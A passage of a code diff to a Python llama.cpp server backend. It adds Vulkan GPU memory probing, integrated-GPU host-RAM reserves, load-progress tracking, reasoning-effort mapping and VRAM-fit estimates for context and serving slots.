+                _LOADS_IN_FLIGHT[key] = remaining
+
+
+def hf_gguf_load_in_flight(hf_repo: str) -> bool:
+    """Return whether a GGUF load is active for hf_repo."""
+    key = (hf_repo or "").strip().lower()
+    if not key:
+        return False
+    with _LOADS_IN_FLIGHT_LOCK:
+        return _LOADS_IN_FLIGHT.get(key, 0) > 0
+
+
+def _with_gguf_load_marker(load: Callable):
+    """Keep an HF repo marked for the full synchronous load call."""
+
+    @functools.wraps(load)
+    def wrapped(self, *args, **kwargs):
+        hf_repo = kwargs.get("hf_repo")
+        with gguf_load_in_flight(hf_repo):
+            if hf_repo and _hub_download_blocks_gguf_load(
+                hf_repo,
+                kwargs.get("hf_variant"),
+                require_mmproj = bool(
+                    kwargs.get("is_vision")
+                    and not extra_args_disable_mmproj(kwargs.get("extra_args"))
+                ),
+                hf_token = kwargs.get("hf_token"),
+            ):
+                raise RuntimeError(
+                    f"'{hf_repo}' is currently being downloaded by the download manager"
+                )
+            return load(self, *args, **kwargs)
+
+    return wrapped
+
+
 def _gguf_extra_shards(files: Iterable[str], first_shard: str) -> list[str]:
     m = _SHARD_FULL_RE.match(first_shard)
     if not m:
@@ -801,7 +1331,11 @@ _MTP_MIN_SIZE_B = 3.0
 # Cap total GPU occupancy at this fraction of the card. The fit reserves an
 # absolute (1 - frac) * total per GPU when total VRAM is known, else a fraction
 # of free (see _fit_context_to_vram), plus a byte-accurate MTP draft reserve.
-_CTX_FIT_VRAM_FRACTION = 0.95
+# 3%: the context-linear compute buffer is now modelled (_compute_buffer_ctx_bytes),
+# so this cushion no longer covers it - only fragmentation, the per-device CUDA
+# context on a multi-GPU split, and MoE routing, which measure ~2-3% (Qwen3.5-397B on
+# 3 GPUs under-predicts by 2.7%). Below 3% one fragmentation spike overflows to CPU.
+_CTX_FIT_VRAM_FRACTION = 0.97
 
 # Apple unified memory is shared with the OS, so tighter than VRAM. Matches the
 # 0.85 MLX uses in mlx_inference.py (_configure_memory_limits); not kept in sync.
@@ -1223,6 +1757,94 @@ def _backfill_usage_from_timings(usage, timings):
     return out
 
 
+def _vulkan_lib_filename() -> str:
+    return "ggml-vulkan.dll" if sys.platform == "win32" else "libggml-vulkan.so"
+
+
+# Host RAM to leave free on an integrated GPU, matching llama.cpp's own --fit
+# margin (default 1024 MiB per device). ggml reports an iGPU's "VRAM" as shared
+# system RAM, so hold back the same margin rather than inventing a larger one.
+_IGPU_HOST_RESERVE_MIB = 1024
+
+
+def _apply_igpu_host_reserve_mib(free_mib: int, is_igpu: bool) -> int:
+    """Reserve host headroom on an integrated (shared-memory) Vulkan GPU.
+
+    An iGPU's reported free "VRAM" is really free system RAM, so sizing
+    context/offload against all of it would push the host into swap or the OOM
+    killer. Leave the same margin llama.cpp's --fit uses. ``is_igpu`` comes from
+    ggml's device type, so a discrete card is never touched; only ever reduces.
+    """
+    if not is_igpu:
+        return free_mib
+    return max(0, free_mib - _IGPU_HOST_RESERVE_MIB)
+
+
+def _llama_lib_dir(binary: str) -> Path:
+    # The installer exposes llama-server as a top-level entrypoint into build/bin/,
+    # where the ggml backend libs live, so callers looking for sibling libs (Vulkan
+    # detection, LD_LIBRARY_PATH, probe bindir) need the real dir. It is normally a
+    # symlink (resolve() reaches build/bin), but create_exec_entrypoint falls back to
+    # a shell wrapper (exec "$(dirname "$0")/build/bin/llama-server" "$@") when it
+    # cannot symlink, and resolve() stops at the wrapper file. Follow the wrapper's
+    # exec target too, so a wrapper-based install still finds build/bin.
+    resolved = Path(binary).resolve()
+    try:
+        with open(resolved, "rb") as _f:
+            _head = _f.read(256)
+        if _head.startswith(b"#!"):
+            _m = re.search(r'exec "\$\(dirname "\$0"\)/([^"]+)"', _head.decode("utf-8", "ignore"))
+            if _m:
+                return (resolved.parent / _m.group(1)).resolve().parent
+    except OSError:
+        pass
+    return resolved.parent
+
+
+def _is_external_link(path: Path) -> bool:
+    """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink
+    or a Windows directory junction / reparse point. Such a link resolves into
+    the user's own llama.cpp checkout, which Studio does not own."""
+    try:
+        if os.path.islink(path):
+            return True
+    except OSError:
+        return False
+    if os.name == "nt":
+        try:
+            import stat
+            attrs = os.lstat(path).st_file_attributes  # type: ignore[attr-defined]
+            return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT)
+        except (OSError, AttributeError):
+            return False
+    return False
+
+
+# Inkling's template takes a numeric thinking-effort dial (0..0.99) and its
+# float() coercion turns unrecognized named levels into 0, i.e. no thinking.
+# Map OpenAI-style names to the values the model was trained on. Module-level
+# so duck-typed engine stand-ins in tests do not need the attribute.
+_INKLING_REASONING_EFFORT = {
+    "none": 0.0,
+    "minimal": 0.1,
+    "low": 0.2,
+    "medium": 0.7,
+    "high": 0.9,
+    "xhigh": 0.99,
+    "max": 0.99,
+}
+
+
+def _coerce_reasoning_effort(architecture, kwargs: dict) -> dict:
+    if architecture == "inkling":
+        effort = kwargs.get("reasoning_effort")
+        if isinstance(effort, str):
+            mapped = _INKLING_REASONING_EFFORT.get(effort.strip().lower())
+            if mapped is not None:
+                kwargs["reasoning_effort"] = mapped
+    return kwargs
+
+
 class LlamaCppBackend:
     """Manages a llama-server subprocess for GGUF model inference.
 
@@ -1254,12 +1876,14 @@ class LlamaCppBackend:
         self._is_diffusion: bool = False
         self._diffusion_visual_bin: Optional[str] = None
         self._healthy = False
+        self._load_rss_hwm = (None, 0)  # (pid, peak VmRSS) for load_progress
         self._stats_logger = None  # vLLM-style engine-stats poller, set on load
         # Set by _classify_gpu_offload after _wait_for_health.
         self._gpu_offload_active: Optional[bool] = None
         self._context_length: Optional[int] = None
         self._effective_context_length: Optional[int] = None
         self._max_context_length: Optional[int] = None
+        self._effective_parallel_slots: int = 1
         self._chat_template: Optional[str] = None
         self._chat_template_override: Optional[str] = None
         self._supports_reasoning: bool = False
@@ -1445,6 +2069,15 @@ class LlamaCppBackend:
         """Return the effective context length the server is running at."""
         return self._effective_context_length or self._context_length
 
+    @property
+    def effective_parallel_slots(self) -> int:
+        """Return the serving-slot count the active llama-server actually uses."""
+        try:
+            slots = int(getattr(self, "_effective_parallel_slots", 1))
+        except (TypeError, ValueError):
+            slots = 1
+        return max(1, slots)
+
     @property
     def max_context_length(self) -> Optional[int]:
         """Return the largest context that fits on this hardware at load time.
@@ -1461,6 +2094,31 @@ class LlamaCppBackend:
         """Return the model's native context length from GGUF metadata."""
         return self._context_length
 
+    def _commit_effective_parallel_slots(self, n_parallel: int) -> None:
+        try:
+            slots = int(n_parallel)
+        except (TypeError, ValueError):
+            slots = 1
+        self._effective_parallel_slots = max(1, slots)
+
+    def _reset_effective_parallel_slots(self) -> None:
+        self._effective_parallel_slots = 1
+
+    @staticmethod
+    def _read_rss_bytes(pid: int) -> Optional[int]:
+        """Resident set size of ``pid`` in bytes, from /proc/<pid>/status (Linux).
+        0 when the status has no VmRSS line (zombie / kernel thread); None where
+        /proc is unavailable (macOS/Windows) or the value is unreadable."""
+        try:
+            with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f:
+                for line in f:
+                    if line.startswith("VmRSS:"):
+                        # IndexError guards a "VmRSS:" line with no value column.
+                        return int(line.split()[1]) * 1024  # kB -> bytes
+        except (FileNotFoundError, PermissionError, ValueError, IndexError, OSError):
+            return None
+        return 0  # readable but no VmRSS line
+
     def load_progress(self) -> Optional[dict]:
         """Return live model-load progress, or None if not loading.
 
@@ -1520,22 +2178,32 @@ class LlamaCppBackend:
             except OSError:
                 pass
 
-        # Read VmRSS from /proc/<pid>/status (kilobytes on Linux).
-        bytes_loaded = 0
-        try:
-            with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f:
-                for line in f:
-                    if line.startswith("VmRSS:"):
-                        kb = int(line.split()[1])
-                        bytes_loaded = kb * 1024
-                        break
-        except (FileNotFoundError, PermissionError, ValueError, OSError):
+        # VmRSS of the llama-server; None where /proc is unavailable.
+        bytes_loaded = LlamaCppBackend._read_rss_bytes(pid)
+        if bytes_loaded is None:
             return None
 
+        # RSS climbs as weights page in, then drops once -ngl offloads them to
+        # VRAM and the mmap pages are freed. Hold a per-process high-water mark
+        # so the bar never regresses to ~8% mid-load (#5740).
+        hwm_pid, hwm = getattr(self, "_load_rss_hwm", (None, 0))
+        hwm = bytes_loaded if hwm_pid != pid else max(hwm, bytes_loaded)
+        self._load_rss_hwm = (pid, hwm)
+        bytes_loaded = hwm
+
         phase = "ready" if self._healthy else "mmap"
         fraction = 0.0
         if bytes_total > 0:
             fraction = min(1.0, bytes_loaded / bytes_total)
+        # Once llama-server is healthy the load is complete by definition. With
+        # layers offloaded to VRAM (-ngl) the process releases the mmap'd weight
+        # pages, so VmRSS sinks back well below the shard total; the raw RSS
+        # fraction would then report a partial (~8%) load indefinitely and freeze
+        # a fraction-driven progress bar even though the model is ready (#5740).
+        if self._healthy:
+            if bytes_total > 0:
+                bytes_loaded = bytes_total
+            fraction = 1.0
         return {
             "phase": phase,
             "bytes_loaded": bytes_loaded,
@@ -1583,7 +2251,10 @@ class LlamaCppBackend:
             # the template's default effort (max) in place.
             return {"enable_thinking": enable_thinking}
         if self._reasoning_style == "reasoning_effort":
-            return {"reasoning_effort": "high" if enable_thinking else "low"}
+            return _coerce_reasoning_effort(
+                getattr(self, "_architecture", None),
+                {"reasoning_effort": "high" if enable_thinking else "low"},
+            )
         return {"enable_thinking": enable_thinking}
 
     def _request_reasoning_kwargs(
@@ -1611,9 +2282,13 @@ class LlamaCppBackend:
                 # 'low' effort the way gpt-oss does (those models genuinely
                 # cannot disable).
                 thinking_off = enable_thinking is False or reasoning_effort == "none"
-                if enable_thinking is not None or reasoning_effort == "none":
+                # A named effort level implies thinking on, so emit enable_thinking
+                # even if the caller sent only reasoning_effort (else the template
+                # defaults it off and the requested level never renders).
+                effort_on = reasoning_effort in self._reasoning_effort_levels
+                if enable_thinking is not None or reasoning_effort == "none" or effort_on:
                     kwargs["enable_thinking"] = not thinking_off
-                if not thinking_off and reasoning_effort in self._reasoning_effort_levels:
+                if not thinking_off and effort_on:
                     kwargs["reasoning_effort"] = reasoning_effort
             elif self._reasoning_style == "reasoning_effort":
                 if reasoning_effort in ("none", "low", "medium", "high"):
@@ -1627,6 +2302,7 @@ class LlamaCppBackend:
                     kwargs["enable_thinking"] = enable_thinking
         if self._supports_preserve_thinking and preserve_thinking is not None:
             kwargs["preserve_thinking"] = preserve_thinking
+        _coerce_reasoning_effort(getattr(self, "_architecture", None), kwargs)
         return kwargs or None
 
     @property
@@ -1637,6 +2313,13 @@ class LlamaCppBackend:
             return False
         return self._supports_tools
 
+    @property
+    def supports_tool_passthrough(self) -> bool:
+        # supports_tools is forced off for DiffusionGemma (its agentic loop drops the
+        # per-step canvas frames), but client passthrough skips that loop, so it uses
+        # the real _supports_tools.
+        return self._supports_tools
+
     @property
     def cache_type_kv(self) -> Optional[str]:
         return self._cache_type_kv
@@ -2009,6 +2692,30 @@ class LlamaCppBackend:
 
         return total
 
+    @staticmethod
+    def _is_vulkan_backend(binary: Optional[str] = None) -> bool:
+        """True if the installed llama.cpp build is Vulkan-only.
+
+        The official prebuilts are single-backend, so the Vulkan ggml lib next
+        to llama-server identifies a Vulkan build. Keeps the free-memory probe
+        and GPU pin in ggml's Vulkan device-index space. For a custom
+        multi-backend build with a CUDA or HIP ggml lib alongside Vulkan, defer
+        to that backend (torch-usable, better-understood probe/pin).
+        """
+        binary = binary or LlamaCppBackend._find_llama_server_binary()
+        if not binary:
+            return False
+        lib_dir = _llama_lib_dir(binary)
+        if not (lib_dir / _vulkan_lib_filename()).is_file():
+            return False
+        for _backend in ("cuda", "hip"):
+            sibling = (
+                f"ggml-{_backend}.dll" if sys.platform == "win32" else f"libggml-{_backend}.so"
+            )
+            if (lib_dir / sibling).is_file():
+                return False
+        return True
+
     @staticmethod
     def _resolve_visible_physical_ids() -> Optional[list[int]]:
         """Physical GPU ids behind the active visibility mask (HIP/ROCR/CUDA on
@@ -2171,11 +2878,42 @@ class LlamaCppBackend:
         return True
 
     @staticmethod
-    def _get_gpu_free_memory() -> list[tuple[int, int]]:
+    def _visible_devices_mask(env_name: str) -> Optional[set[int]]:
+        """Physical indices a ``*_VISIBLE_DEVICES`` mask permits, or None if unset.
+
+        ``if x.strip()`` filters trailing-comma masks ("0,1,"); an empty mask
+        ("") yields an empty set (all devices hidden), distinct from an unset
+        var (None, no mask). Used by the nvidia-smi probe.
+        """
+        raw = os.environ.get(env_name)
+        if raw is None:
+            return None
+        try:
+            return set(int(x.strip()) for x in raw.split(",") if x.strip())
+        except ValueError:
+            return None
+
+    @staticmethod
+    def _vulkan_pin_args(gpu_indices: Optional[Iterable[int]]) -> list[str]:
+        """``--device Vulkan<i>,...`` to pin a Vulkan launch to selected GPUs.
+
+        The indices are ggml's compact Vulkan ordinals (as _get_gpu_free_memory
+        reports and the registry names ``Vulkan<i>``). Pin by that name, NOT via
+        GGML_VK_VISIBLE_DEVICES: ggml parses that env var in the raw
+        vkEnumeratePhysicalDevices space (before dropping CPU/llvmpipe devices
+        and deduplicating ICDs), so a compact ordinal there could select a
+        different physical device or the CPU rasterizer.
+        """
+        if not gpu_indices:
+            return []
+        return ["--device", ",".join(f"Vulkan{i}" for i in gpu_indices)]
+
+    @staticmethod
+    def _get_gpu_free_memory(binary: Optional[str] = None) -> list[tuple[int, int]]:
         """Query free memory per GPU. Returns ``(gpu_index, free_mib)`` sorted by
         index; empty if no supported GPU is reachable. Thin wrapper over
         ``_get_gpu_memory`` for callers that only need free VRAM."""
-        return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory()]
+        return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory(binary)]
 
     @staticmethod
     def _apple_metal_memory_budget_bytes() -> int:
@@ -2206,7 +2944,7 @@ class LlamaCppBackend:
         return int(rec_bytes * _APPLE_UNIFIED_MEMORY_FRACTION)
 
     @staticmethod
-    def _get_gpu_memory() -> list[tuple[int, int, int]]:
+    def _get_gpu_memory(binary: Optional[str] = None) -> list[tuple[int, int, int]]:
         """Query free AND total memory per GPU.
 
         Order:
@@ -2218,9 +2956,18 @@ class LlamaCppBackend:
              probe returned [] on AMD) and NVIDIA hosts missing
              ``nvidia-smi`` from PATH.
 
+        On a Vulkan build the ggml Vulkan probe is authoritative, so the indices
+        are ggml's compact Vulkan ordinals (the space the pin selects via
+        ``--device Vulkan<i>``). It reports ``total`` for discrete cards and 0
+        for an iGPU (shared RAM) so the fit falls back to free*frac there.
+        Otherwise nvidia-smi / torch cover NVIDIA + AMD ROCm.
+
         Returns (gpu_index, free_mib, total_mib) sorted by index; empty if no
-        supported GPU is reachable. ``total`` lets the fit reserve absolute headroom.
+        supported GPU is reachable.
         """
+        binary = binary or LlamaCppBackend._find_llama_server_binary()
+        if LlamaCppBackend._is_vulkan_backend(binary):
+            return LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
         # ── NVIDIA via nvidia-smi ────────────────────────────────────
         try:
             result = subprocess.run(
@@ -2236,16 +2983,7 @@ class LlamaCppBackend:
                 **_windows_hidden_subprocess_kwargs(),
             )
             if result.returncode == 0:
-                allowed: Optional[set[int]] = None
-                cvd = os.environ.get("CUDA_VISIBLE_DEVICES")
-                if cvd is not None:
-                    try:
-                        # `if x.strip()` filters trailing-comma masks ("0,1,").
-                        # Empty mask (CVD="") yields an empty set -> all GPUs
-                        # filtered out, per codebase convention.
-                        allowed = set(int(x.strip()) for x in cvd.split(",") if x.strip())
-                    except ValueError:
-                        pass
+                allowed = LlamaCppBackend._visible_devices_mask("CUDA_VISIBLE_DEVICES")
                 gpus: list[tuple[int, int, int]] = []
                 for line in result.stdout.strip().splitlines():
                     parts = [p.strip() for p in line.split(",")]
@@ -2310,6 +3048,91 @@ class LlamaCppBackend:
             logger.debug(f"torch GPU probe failed: {e}")
             return []
 
+    @staticmethod
+    def _get_gpu_free_memory_vulkan(binary: Optional[str] = None) -> list[tuple[int, int, int]]:
+        """Query free (and total) VRAM per device via the bundled ggml Vulkan backend.
+
+        Loads ``libggml-vulkan`` in a short-lived subprocess (no Vulkan instance
+        in this process) and returns (device_index, free_mib, total_mib) sorted
+        by index. The index is ggml's compact Vulkan ordinal -- the one the
+        registry names ``Vulkan<index>`` and load_model pins with ``--device``,
+        NOT the raw ``GGML_VK_VISIBLE_DEVICES`` space. A user-set
+        ``GGML_VK_VISIBLE_DEVICES`` is honored by ggml (passed through), so the
+        list already reflects it. iGPUs leave a host-RAM margin (see
+        ``_apply_igpu_host_reserve_mib``) and report total 0; discrete cards pass
+        their real total through. [] when no Vulkan build or device is reachable.
+        """
+        binary = binary or LlamaCppBackend._find_llama_server_binary()
+        if not binary:
+            return []
+        binary_dir = _llama_lib_dir(binary)
+        if not (binary_dir / _vulkan_lib_filename()).is_file():
+            return []
+
+        env = child_env_without_native_path_secret()
+        # Pass any inherited GGML_VK_VISIBLE_DEVICES through to ggml unchanged so
+        # the probe enumerates the same device list the launch will, named
+        # Vulkan0..N in the compact order reported here and pinned by that name
+        # via --device -- probe, mask, and pin stay in one index space. Do NOT
+        # filter the mask in Python: ggml parses the env var in raw
+        # vkEnumeratePhysicalDevices space while this probe reports the compact
+        # post-filter ordinal, so a Python filter would compare mismatched spaces.
+        if sys.platform != "win32":
+            # Let the loader resolve sibling ggml libs next to the binary.
+            existing_ld = env.get("LD_LIBRARY_PATH", "")
+            env["LD_LIBRARY_PATH"] = (
+                f"{binary_dir}:{existing_ld}" if existing_ld else str(binary_dir)
+            )
+        probe_script = Path(__file__).with_name("_vulkan_probe.py")
+        try:
+            result = subprocess.run(
+                [sys.executable, str(probe_script), str(binary_dir)],
+                capture_output = True,
+                text = True,
+                timeout = 15,
+                env = env,
+                **_windows_hidden_subprocess_kwargs(),
+            )
+            if result.returncode != 0:
+                logger.debug(
+                    f"vulkan GPU probe exited {result.returncode}: {result.stderr.strip()}"
+                )
+                return []
+        except Exception as e:
+            logger.debug(f"vulkan GPU probe failed: {e}")
+            return []
+
+        gpus: list[tuple[int, int, int]] = []
+        for line in result.stdout.strip().splitlines():
+            parts = line.split("\t")
+            if len(parts) != 4:
+                continue
+            try:
+                idx = int(parts[0])
+                free_mib = int(parts[1]) // (1024 * 1024)
+                is_igpu = parts[2] == "1"
+                # iGPU "total" is shared RAM, not a VRAM budget -> keep 0 so the
+                # fit stays on free*frac (the host reserve below is its
+                # headroom); a discrete card passes its real total through.
+                total_mib = 0 if is_igpu else int(parts[3]) // (1024 * 1024)
+            except ValueError:
+                continue
+            capped = _apply_igpu_host_reserve_mib(free_mib, is_igpu)
+            if capped < free_mib:
+                logger.info(
+                    f"Vulkan device VK{idx} is an integrated GPU sharing system "
+                    f"RAM; reserving {free_mib - capped}MiB host headroom "
+                    f"({free_mib}->{capped}MiB usable)"
+                )
+            gpus.append((idx, capped, total_mib))
+        gpus.sort(key = lambda g: g[0])
+        if gpus:
+            logger.info(
+                "Vulkan GPU memory detected: "
+                + ", ".join(f"VK{idx}={free}MiB" for idx, free, _total in gpus)
+            )
+        return gpus
+
     @staticmethod
     def _available_system_memory_mib() -> Optional[int]:
         """Available system RAM in MiB (psutil, then /proc/meminfo), or None if
@@ -2419,9 +3242,10 @@ class LlamaCppBackend:
             prev = curr
 
     # Free-VRAM fraction at which Studio pins the GPU directly instead of
-    # deferring to ``--fit on``. 5% headroom covers CUDA context + compute
-    # buffers; 0.90 dropped 91-94% fits to CPU offload (#5106).
-    _GPU_PIN_VRAM_FRACTION = 0.95
+    # deferring to ``--fit on``. 3% headroom: the compute buffer is now modelled in
+    # the fit, so this only guards fragmentation + multi-GPU per-device CUDA context
+    # (~2-3%); kept >= 3% as a floor (0.90 dropped 91-94% fits to CPU offload, #5106).
+    _GPU_PIN_VRAM_FRACTION = 0.97
 
     # Fallback per-device tensor-mode compute buffer (MiB), used only when GGUF
     # dims are unavailable so _estimate_compute_buffer_bytes (the primary, derived
@@ -2537,7 +3361,8 @@ class LlamaCppBackend:
     def _llama_server_env_for_binary(binary: str) -> dict[str, str]:
         """Build a subprocess env that lets llama-server resolve native libs."""
         env = child_env_without_native_path_secret()
-        binary_dir = str(Path(binary).parent)
+        # _llama_lib_dir resolves the llama-server symlink to the real build/bin.
+        binary_dir = str(_llama_lib_dir(binary))
 
         if sys.platform == "win32":
             # Ordering: see _build_windows_path_dirs. #5106.
@@ -2977,6 +3802,46 @@ class LlamaCppBackend:
 
     _DEFAULT_N_UBATCH = 512  # llama.cpp --ubatch default; Studio does not override it
     _COMPUTE_BUFFER_SAFETY = 1.15  # upper-bound margin on the compute-buffer estimate
+    # Soft VRAM the modeled terms omit; charged to the fit budget on tight tiers (#6682).
+    _CUDA_CONTEXT_RESERVE_BYTES = 320 * 1024 * 1024  # CUDA ctx + cuBLAS workspace (~330 MiB)
+    _MMPROJ_VRAM_SAFETY = 1.4  # mmproj worst-case buffer vs file size (runtime ~1.3x)
+    _MTP_DRAFT_COMPUTE_BYTES = 224 * 1024 * 1024  # MTP draft decode graph beyond its KV
+    # The flash-attn KQ mask + attention scratch grow ~linearly with context; the flat
+    # _estimate_compute_buffer_bytes term only covers ctx -> 0. The per-token rate
+    # depends on the KV cache type: a QUANTIZED cache (q8_0/q5/q4/iq4) needs a
+    # context-sized dequant scratch that scales with n_embd, measured at 0.74-2.02 x
+    # n_embd across Qwen3.5/3.6 (2B/4B/9B/27B) and Gemma-4 (12B/31B) at q8_0; an
+    # f16/bf16/f32 cache skips the dequant and pays only the KQ mask, a flat n_ubatch*2
+    # bytes per context token regardless of n_embd (measured 1024 B/tok on Qwen-9B and
+    # Gemma-31B alike). So Qwen3.5-4B at 256k is 1.30 GiB at q8_0 vs 0.31 GiB at f16.
+    # 2.25 covers the worst quantized case (Qwen3.5-4B, ~2.0x) plus the under-modeled
+    # flat base; the mask safety covers the f16 base gap. Without this term, tight tiers
+    # at extreme context over-pin and spill to CPU (the 3% cushion is only ~0.25 GiB on
+    # an 8 GB card, far below the ~1-2.4 GiB quantized buffer at 256k): e.g. Qwen3.5-4B
+    # Q4 at 256k needs ~8.5 GiB on a real 8 GB card (weights 2.4 + KV 4.3 + compute 1.3
+    # + CUDA ctx) -> CPU spill; with this reserve the auto context caps to ~210k, fits.
+    _CTX_COMPUTE_BYTES_PER_EMBD = 2.25  # quantized KV, regular attention (dequant scratch)
+    _CTX_COMPUTE_BYTES_PER_EMBD_MLA = 1.25  # quantized KV, MLA (compressed attn: measured 0.94x)
+    _CTX_COMPUTE_F16_MASK_SAFETY = 1.5  # f16/bf16/f32 KV: KQ mask only (n_ubatch*2 B/tok)
+    # DeepSeek-V4 (deepseek4): its lightning indexer + sparse attention reserve a large
+    # context-scaling compute buffer the rates above miss (present even with an f16
+    # cache). Measured on UD-Q4_K_XL (ub=512): ~2 GiB at 16k -> ~65.5 GiB at 1M. Without
+    # it auto-fit commits the full 1M train context, OOMs the reserve, and spills to CPU.
+    _DSV4_CTX_COMPUTE_FLAT_BYTES = 2 * 1024**3  # ctx-independent indexer scratch
+    _DSV4_CTX_COMPUTE_BYTES_PER_TOK = 72000  # per token at ub=512 (~72 GiB at 1M)
+
+    # Inkling (inkling): with the reserve fix in the bundled llama.cpp (full-cache
+    # reserve context reports the whole cache as position-contiguous, so the
+    # worst-case graph is the banded flash path instead of the dense-bias
+    # fallback), the ctx-linear compute term is just the banded KQ-mask cont:
+    # measured on UD-IQ1_S (ub=512) 64K -> 1M total-VRAM slope of 50.6 KiB/tok,
+    # of which 45,056 B/tok is KV -> ~5.6 KiB/tok compute. 8192 adds ~1.5x
+    # headroom. (Pre-fix builds reserved the dense fallback at ~402 KiB/tok and
+    # could not load large contexts at all.)
+    _INKLING_CTX_COMPUTE_BYTES_PER_TOK = 8192  # per token at ub=512
+    # Dense relative-bias fallback rate (quantized KV cache disables the banded
+    # path): measured 402.5 GiB reserve at 1M ctx pre-fix, ~402 KiB per token.
+    _INKLING_CTX_COMPUTE_DENSE_BYTES_PER_TOK = 402470  # per token at ub=512
 
     def _estimate_compute_buffer_bytes(
         self,
@@ -3007,6 +3872,104 @@ class LlamaCppBackend:
             compute = act_scratch + out_buffer * max(0, par - 1)
         return int(compute * self._COMPUTE_BUFFER_SAFETY)
 
+    def _compute_buffer_ctx_bytes(
+        self,
+        n_ctx: int,
+        n_ubatch: Optional[int] = None,
+        cache_type_kv: Optional[str] = None,
+    ) -> int:
+        """Context-linear growth of the per-device compute buffer (bytes), charged
+        on top of the flat ``_estimate_compute_buffer_bytes``. The flash-attn KQ
+        mask + attention scratch scale ~linearly with context and with the micro-
+        batch; the flat term only covers ctx -> 0. A quantized KV cache adds a
+        context-sized dequant scratch that scales with n_embd; f16/bf16/f32 pays only
+        the KQ mask, a flat n_ubatch*2 bytes per context token. ``cache_type_kv`` None
+        -> f16 (llama.cpp's default; an env-set quantized cache is budgeted as f16 on
+        the KV side, whose over-reservation absorbs the dequant scratch). Returns 0
+        when dims are missing or ``n_ctx`` <= 0."""
+        n_embd = self._embedding_length or 0
+        if n_embd <= 0 or n_ctx <= 0:
+            return 0
+        ub = max(1, int(n_ubatch if n_ubatch else self._DEFAULT_N_UBATCH))
+        if getattr(self, "_architecture", None) == "deepseek4":
+            # DSV4 indexer/CSA buffer (see constants): flat + linear, ub-scaled. Fires
+            # for any KV type -- the indexer scratch is present even with an f16 cache.
+            ub_scale = ub / self._DEFAULT_N_UBATCH
+            return int(
+                self._DSV4_CTX_COMPUTE_FLAT_BYTES
+                + self._DSV4_CTX_COMPUTE_BYTES_PER_TOK * n_ctx * ub_scale
+            )
+        if getattr(self, "_architecture", None) == "inkling":
+            ub_scale = ub / self._DEFAULT_N_UBATCH
+            # The fused banded path requires an f32/f16/bf16 KV cache. A quantized
+            # cache forces the dense relative-bias fallback, whose compute buffer is
+            # [n_kv, ub, n_head] f32 (~402 KiB per context token at ub=512); size the
+            # fit for that so a q8_0 cache gets a small honest context instead of an
+            # unloadable one that crash-loops the server.
+            if cache_type_kv and _kv_bytes_per_elem(cache_type_kv) < 2.0:
+                return int(self._INKLING_CTX_COMPUTE_DENSE_BYTES_PER_TOK * n_ctx * ub_scale)
+            # Banded flash path (see constants): linear, ub-scaled.
+            return int(self._INKLING_CTX_COMPUTE_BYTES_PER_TOK * n_ctx * ub_scale)
+        if _kv_bytes_per_elem(cache_type_kv) < 2.0:
+            # Quantized cache: the dequant scratch dominates and scales with n_embd.
+            # MLA (compressed KV) needs far less of it: measured 0.94 x n_embd on
+            # GLM-5.2 and Kimi-K2.7 vs up to 2.02x on regular attention.
+            ub_scale = ub / self._DEFAULT_N_UBATCH
+            rate = (
+                self._CTX_COMPUTE_BYTES_PER_EMBD_MLA
+                if self._key_length_mla
+                else self._CTX_COMPUTE_BYTES_PER_EMBD
+            )
+            per_tok = rate * n_embd * ub_scale
+        else:
+            # f16/bf16/f32: only the KQ mask ([n_kv, n_ubatch] f16), n_embd-independent.
+            per_tok = ub * 2 * self._CTX_COMPUTE_F16_MASK_SAFETY
+        return int(per_tok * n_ctx)
+
+    def _slots_that_fit_on_gpu(
+        self,
+        n_parallel: int,
+        effective_ctx: int,
+        gpus: list[tuple[int, int]],
+        total_by_idx: Optional[dict[int, int]],
+        base_footprint_bytes: int,
+        cache_type_kv: Optional[str],
+        pin_fraction: float,
+        per_device_overhead_bytes: int,
+        min_gpus: int,
+        n_ubatch: Optional[int] = None,
+    ) -> tuple[Optional[list[int]], bool, int]:
+        """Largest serving-slot count in [1, n_parallel) whose fully-on-GPU footprint fits,
+        so Studio keeps the model on GPU (-ngl -1) instead of --fit on, which offloads layers
+        to host and collapses decode ~3x (oobabooga #6718). ``base_footprint_bytes`` is the
+        slot-independent footprint (weights + soft overhead + MTP + context-linear compute,
+        minus the folded compute buffer); each candidate re-adds the slot-sized compute buffer
+        and KV, then re-selects GPUs like the explicit-context path. Returns (gpu_indices,
+        use_fit=False, slots) for the largest fitting count, else (None, True, n_parallel).
+        Only ever reduces; deterministic and unit-testable with synthetic VRAM maps."""
+        for slots in range(n_parallel - 1, 0, -1):
+            cb = self._estimate_compute_buffer_bytes(
+                n_ubatch = n_ubatch, n_parallel = slots, per_device_tensor = False
+            )
+            if cb <= 0:
+                cb = self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024
+            total = (
+                base_footprint_bytes
+                + cb
+                + self._estimate_kv_cache_bytes(effective_ctx, cache_type_kv, n_parallel = slots)
+            )
+            gpu_indices, use_fit = self._select_gpus(
+                total,
+                gpus,
+                usable_fraction = pin_fraction,
+                total_by_idx = total_by_idx,
+                per_device_overhead_bytes = per_device_overhead_bytes,
+                min_gpus = min_gpus,
+            )
+            if not use_fit:
+                return gpu_indices, False, slots
+        return None, True, n_parallel
+
     def _fit_context_to_vram(
         self,
         requested_ctx: int,
@@ -3022,6 +3985,7 @@ class LlamaCppBackend:
         kv_on_gpu: bool = True,
         mtp_engaged: bool = False,
         mtp_overhead_fn: Optional[Callable[[int], int]] = None,
+        compute_ctx_bytes_fn: Optional[Callable[[int], int]] = None,
         budget_frac: Optional[float] = None,
         total_mib: Optional[int] = None,
     ) -> int:
@@ -3073,9 +4037,14 @@ class LlamaCppBackend:
         def _mtp_at(ctx: int) -> int:
             return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0
 
+        def _cc_at(ctx: int) -> int:
+            # Context-linear compute-buffer growth (flash-attn KQ mask + scratch);
+            # the flat term in model_footprint only covers ctx -> 0.
+            return compute_ctx_bytes_fn(ctx) if compute_ctx_bytes_fn is not None else 0
+
         # Already fits?
         kv = self._estimate_kv_cache_bytes(requested_ctx, cache_type_kv, **kv_kwargs)
-        if model_footprint + kv + _mtp_at(requested_ctx) <= budget_bytes:
